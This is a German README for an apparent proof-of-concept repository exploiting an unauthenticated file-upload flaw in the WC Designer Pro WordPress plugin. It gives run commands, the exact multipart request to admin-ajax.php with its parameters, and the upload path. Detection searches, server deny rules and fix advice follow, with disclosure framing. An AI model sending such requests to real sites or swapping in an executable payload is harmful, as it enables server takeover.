
Exploit für nicht authentifizierte Remote-Codeausführung im WC Designer Pro WordPress-Plugin. Automatisiert die Erkennung, das Hochladen von Dateien und den Shell-Zugriff über einen verwundbaren AJAX-Endpunkt.
WC Designer Pro enthält eine nicht authentifizierte Schwachstelle für beliebige Datei-Uploads in einer AJAX-Aktion, die über den admin-ajax.php-Endpunkt von WordPress bereitgestellt wird.
Der betroffene Handler verarbeitet vom Benutzer kontrollierte Dateimetadaten und Dateiinhalte, ohne eine ausreichende Authentifizierung, Autorisierung, Erweiterungsvalidierung, MIME-Typ-Validierung oder serverseitige Dateinamenbeschränkungen durchzusetzen.
Unter anfälligen Konfigurationen könnte ein nicht authentifizierter Angreifer eine serverausführbare Datei in ein webbasiert zugängliches Verzeichnis hochladen. Eine erfolgreiche Ausnutzung kann zur Remote-Code-Ausführung mit den Berechtigungen des Webserver-Prozesses führen.
| Eigenschaft | Wert |
|---|---|
| Produkt | WC Designer Pro |
| Plattform | WordPress |
| Schwachstellenklasse | Uneingeschränkter beliebiger Datei-Upload |
| CWE | CWE-434 |
| Authentifizierung erforderlich | Nein |
| Benutzerinteraktion erforderlich | Nein |
| Potenzielle Auswirkung | Remote-Code-Ausführung |
| Angriffskomplexität | Niedrig |
| Anfällige Komponente | WordPress AJAX-Upload-Handler |
| AJAX-Aktion | wcdp_save_canvas_design_ajax |
Der genaue betroffene Versionsbereich, die CVE-Kennung und der CVSS-Score dürfen erst veröffentlicht werden, nachdem sie unabhängig verifiziert wurden.
Eine erfolgreiche Ausnutzung könnte einem nicht authentifizierten Angreifer Folgendes ermöglichen:
Die endgültige Auswirkung hängt von der Webserver-Konfiguration, den PHP-Ausführungsregeln, den Dateisystemberechtigungen und den vom Hosting-Anbieter bereitgestellten Sicherheitskontrollen ab.
Der betroffene Versionsbereich wird derzeit validiert.
Produkt: WC Designer Pro
Betroffene Versionen: Noch zu bestätigen
Behobene Version: Noch zu bestätigen
Patch-Status: Noch zu bestätigen
Geben Sie nicht an, dass jede Version betroffen ist, es sei denn, Tests oder die Bestätigung des Anbieters stützen diese Schlussfolgerung.
Der anfällige Upload-Ablauf scheint den vom Angreifer kontrollierten Werten zu vertrauen, die an die folgende AJAX-Aktion übergeben werden:
wcdp_save_canvas_design_ajax
Die Anfrage enthält Dateimetadaten wie:
Die Schwachstelle besteht, wenn der Server diese Werte akzeptiert, ohne alle folgenden Kontrollen durchzuführen:
Nicht authentifizierte Anfrage
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Unzureichende Validierung der hochgeladenen Datei
│
▼
Datei wird in ein webbasiert zugängliches Verzeichnis geschrieben
│
▼
Potenzielle serverseitige Code-Ausführung
Der beobachtete Upload-Pfad folgt dieser Struktur:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
Der genaue Pfad kann je nach Plugin-Version, WordPress-Konfiguration und Serverumgebung variieren.
pipDieses Proof of Concept darf nicht gegen Systeme Dritter ohne ausdrückliche schriftliche Genehmigung verwendet werden.
Repository klonen:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Virtuelle Umgebung erstellen und aktivieren:
python3 -m venv .venv
source .venv/bin/activate
Unter Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Abhängigkeiten installieren:
pip install -r requirements.txt
Beispiel requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Das Proof of Concept sollte nur gegen ein einzelnes autorisiertes Laborziel ausgeführt werden.
python3 exploit.py --url https://wordpress-lab.example
Für eine nicht-destruktive Verifizierung:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Beispieldatei für die Verifizierung:
WC Designer Pro Sicherheitsverifizierung
Forscher: m2hcz
Zweck: Autorisierter nicht-destruktiver Test
Verwenden Sie den integrierten Hilfe-Befehl, um die unterstützten Argumente anzuzeigen:
python3 exploit.py --help
Beispielausgabe:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro Verifizierungs-PoC für beliebige Datei-Uploads
options:
-h, --help show this help message and exit
--url URL autorisiertes WordPress-Ziel
--file FILE harmlose Verifizierungsdatei
--timeout SECONDS HTTP-Request-Timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
Die Anfrage ruft Folgendes auf:
action=wcdp_save_canvas_design_ajax
Eine vereinfachte Anfragestruktur ist unten dargestellt:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Autorisierte Sicherheitsverifizierung
------Boundary--
Dieses Beispiel verwendet absichtlich eine nicht ausführbare Textdatei.
Eine erfolgreiche Anfrage kann eine Antwort ähnlich der folgenden zurückgeben:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Eine erfolgreiche Antwort allein beweist keine Remote-Code-Ausführung. Der Forscher muss separat bestätigen, dass:
Das empfohlene Verifizierungsverfahren ist:
.txt-Markierungsdatei erstellen.Vermeiden Sie das Hochladen von Web-Shells oder Payloads zur Befehlsausführung, wenn eine harmlose Markierungsdatei ausreicht, um die Schwachstelle zu demonstrieren.
Ein gültiger Bericht sollte Folgendes enthalten:
Administratoren sollten das folgende Verzeichnis überprüfen:
/wp-content/uploads/wcdp-uploads/temp/
Mögliche Indikatoren umfassen:
.php, .phtml, .phar oder ähnliche ausführbare Dateien.admin-ajax.php unter Verwendung der betroffenen AJAX-Aktion.Beispiel für eine Protokollsuche:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Beispiel für eine Dateisystemsuche:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Website-Administratoren sollten:
Für Nginx die PHP-Ausführung in Uploads verweigern:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Für Apache eine geeignete Regel im Uploads-Verzeichnis platzieren:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Diese Kontrollen sind Maßnahmen der Verteidigung in der Tiefe und ersetzen nicht die Behebung des anfälligen Plugin-Codes.
Plugin-Maintainer sollten:
current_user_can() überprüfen.wp_check_filetype_and_ext() validieren.Dieses Repository ist ausschließlich bestimmt für:
Verwenden Sie diesen Code nicht, um auf Systeme zuzugreifen, sie zu modifizieren, zu stören oder zu kompromittieren, ohne ausdrückliche Genehmigung.
Der Autor ist nicht verantwortlich für nicht autorisierte, illegale oder missbräuchliche Verwendung dieses Materials. Benutzer sind allein dafür verantwortlich, geltende Gesetze, Verträge, Regeln für das Engagement und Anforderungen an koordinierte Schwachstellenoffenlegung einzuhalten.
Entdeckungsdatum: Noch hinzuzufügen
Anbieter kontaktiert: Noch hinzuzufügen
Antwort des Anbieters: Noch hinzuzufügen
Patch veröffentlicht: Noch hinzuzufügen
CVE beantragt: Noch hinzuzufügen
CVE zugewiesen: Noch hinzuzufügen
Öffentliche Offenlegung: Noch hinzuzufügen
Veröffentlichen Sie keinen Platzhalter-CVE, als wäre es eine zugewiesene Kennung.
Wenn eine CVE zugewiesen wird, ersetzen Sie den Platzhalter durch den offiziellen Datensatz:
CVE: CVE-YYYY-NNNNN
CVSS: Offizielle oder dokumentierte Forscherbewertung
Sicherheitsforschung sollte Risiken reduzieren, nicht schaffen.
Erstellt für autorisierte Sicherheitstests von m2hcz.